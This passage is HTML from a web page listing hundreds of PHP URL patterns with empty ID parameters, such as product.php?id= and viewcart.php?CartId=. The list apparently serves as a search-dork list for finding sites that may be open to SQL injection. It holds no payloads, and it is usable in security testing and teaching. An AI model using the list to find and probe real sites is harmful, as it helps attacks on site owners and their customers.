<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> faq_list.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> faqs.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> feedback.php?title=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> freedownload.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> fullDisplay.php?item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> getbook.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> GetItems.php?itemid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> giftDetail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> help.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> home.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="color: #1b8ede;"><span style="font-size: small;"><span style="font-family: 'arial';"><span style="text-decoration: underline;">index</span></span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?cart=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> info.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?eid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?item_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?itemid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?model=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?prodtype=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?shopcd=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item_details.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item_list.php?maingroup</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item_show.php?code_no=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> itemDesc.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> itemdetail.php?item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> itemdetails.php?catalogid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> learnmore.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> links.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> list.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> List.php?CatID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> listcategoriesandproducts.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> modline.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> myaccount.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> order.php?BookID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> order.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> order.php?item_ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> OrderForm.php?Cart=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> page.php?PartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> payment.php?CartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> pdetail.php?item_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> powersearch.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> price.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> privacy.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> prodbycat.php?intCatalogID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> prodetails.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> prodlist.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product.php?bookID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product.php?intProdID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product_info.php?item_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productDetails.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productDisplay.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productinfo.php?item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productlist.php?ViewType=Category&CategoryID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productpage.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?keyword=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products_category.php?CategoryID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products_detail.php?CategoryID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> productsByCategory.php?intCatalogID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> prodView.php?idProduct=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> promo.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> promotion.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> pview.php?Item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> resellers.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> results.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> savecart.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> search.php?CartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> searchcat.php?search_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> Select_Item.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> Services.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shippinginfo.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop.php?a=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop.php?action=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop_details.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopaddtocart.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopaddtocart.php?catalogid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopbasket.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopbycategory.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopcart.php?title=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopcreatorder.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopcurrency.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopdc.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopdisplaycategories.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopdisplayproduct.php?catalogid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopdisplayproducts.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopexd.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopexd.php?catalogid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopping_basket.php?cartID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopprojectlogin.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopquery.php?catalogid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopremoveitem.php?cartid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopreviewadd.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopreviewlist.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> ShopSearch.php?CategoryID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shoptellafriend.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopthanks.php</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shopwelcome.php?title=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> show_item.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> show_item_details.php?item_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> showbook.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> showStore.php?catID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shprodde.php?SKU=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> specials.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> store.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> store_bycat.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> store_listing.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> Store_ViewProducts.php?Cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> store-details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> storefront.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> storefronts.php?title=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> storeitem.php?item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> StoreRedirect.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> subcategories.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> tek9.php?</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> template.php?Action=Item&pid=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="color: #1b8ede;"><span style="font-size: small;"><span style="font-family: 'arial';"><span style="text-decoration: underline;">topic</span></span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> tuangou.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> type.php?iType=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> updatebasket.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> updates.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_cart.php?title=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_detail.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewcart.php?CartId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewCart.php?userID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewCat_h.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewevent.php?EventID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewitem.php?recor=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewPrd.php?idcategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> ViewProduct.php?misc=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> voteList.php?item_ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> whatsnew.php?idCategory=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> WsAncillary.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> WsPages.php?ID=noticiasDetalle.php?xid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> sitio/item.php?idcd=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?site=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> de/content.php?page_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> gallerysort.php?iid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?type=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> event.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> showfeature.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> home.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> tas/event.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> profile.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> past-event.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index.</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">php?action=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> site/products.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> page.php?pId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> resources/vulnerabilities_list.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> site.php?id=</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">products/</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?rangeid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> global_projects.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> publications/view.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> display_page.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> pages.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> lmsrecords_cd.php?cdid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product.php?prd=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cat/?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products/product-list.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> debate-detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cbmer/congres/page.php?LAN=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> photogallery.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product/product.php?product_no=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> nyheder.htm?show=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> print.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?PID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> more_detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_items.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_author.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> main.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> english/fonction/print.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> magazines/adult_magazine_single_page.php?magid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product_details.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> magazines/adult_magazine_full_year.php?magid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products/card.php?prodID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog/product.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> e_board/modifyform.html?code=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?page=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products/product.php?pid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book_detail.php?BookID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog/main.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog/main.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> default.php?cPath=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog/main.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> catalog/main.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?catid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> categories.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> categories.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?prodID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> hm/inside.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?area_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> gallery.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> media/pr.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> books/book.php?proj_nr=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products/card.php?prodID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> general.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?t=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> usb/devices/showdev.php?id=</span></span></span></div>
<div style="text-align: left;">
